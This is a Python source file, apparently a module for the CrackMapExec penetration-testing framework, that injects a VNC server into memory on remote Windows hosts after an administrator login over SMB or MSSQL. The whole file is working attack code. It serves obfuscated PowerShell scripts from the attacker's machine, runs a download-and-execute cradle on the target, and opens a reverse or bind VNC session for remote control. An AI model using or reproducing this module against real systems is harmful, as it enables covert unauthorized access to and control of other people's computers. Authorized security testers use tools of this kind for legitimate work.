72 lines
2.3 KiB
Python
72 lines
2.3 KiB
Python
from cme.helpers.powershell import *
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class CMEModule:
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'''
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Executes Invoke-VNC
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Module by @byt3bl33d3r
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'''
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name = 'invoke_vnc'
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description = "Injects a VNC client in memory"
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supported_protocols = ['smb', 'mssql']
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opsec_safe = True
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multiple_hosts = True
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def options(self, context, module_options):
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'''
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CONTYPE Specifies the VNC connection type, choices are: reverse, bind (default: reverse).
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PORT VNC Port (default: 5900)
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PASSWORD Specifies the connection password.
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'''
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self.contype = 'reverse'
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self.port = 5900
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self.password = None
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if 'PASSWORD' not in module_options:
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context.log.error('PASSWORD option is required!')
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exit(1)
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if 'CONTYPE' in module_options:
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self.contype = module_options['CONTYPE']
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if 'PORT' in module_options:
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self.port = int(module_options['PORT'])
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self.password = module_options['PASSWORD']
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self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
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self.ps_script2 = obfs_ps_script('invoke-vnc/Invoke-Vnc.ps1')
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def on_admin_login(self, context, connection):
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if self.contype == 'reverse':
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command = 'Invoke-Vnc -ConType reverse -IpAddress {} -Port {} -Password {}'.format(context.localip, self.port, self.password)
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elif self.contype == 'bind':
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command = 'Invoke-Vnc -ConType bind -Port {} -Password {}'.format(self.port, self.password)
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vnc_command = gen_ps_iex_cradle(context, 'Invoke-Vnc.ps1', command, post_back=False)
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launcher = gen_ps_inject(vnc_command, context)
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connection.ps_execute(launcher)
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context.log.success('Executed launcher')
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def on_request(self, context, request):
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if 'Invoke-PSInject.ps1' == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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request.wfile.write(self.ps_script1)
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elif 'Invoke-Vnc.ps1' == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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request.wfile.write(self.ps_script2)
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request.stop_tracking_host()
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else:
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request.send_response(404)
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request.end_headers()
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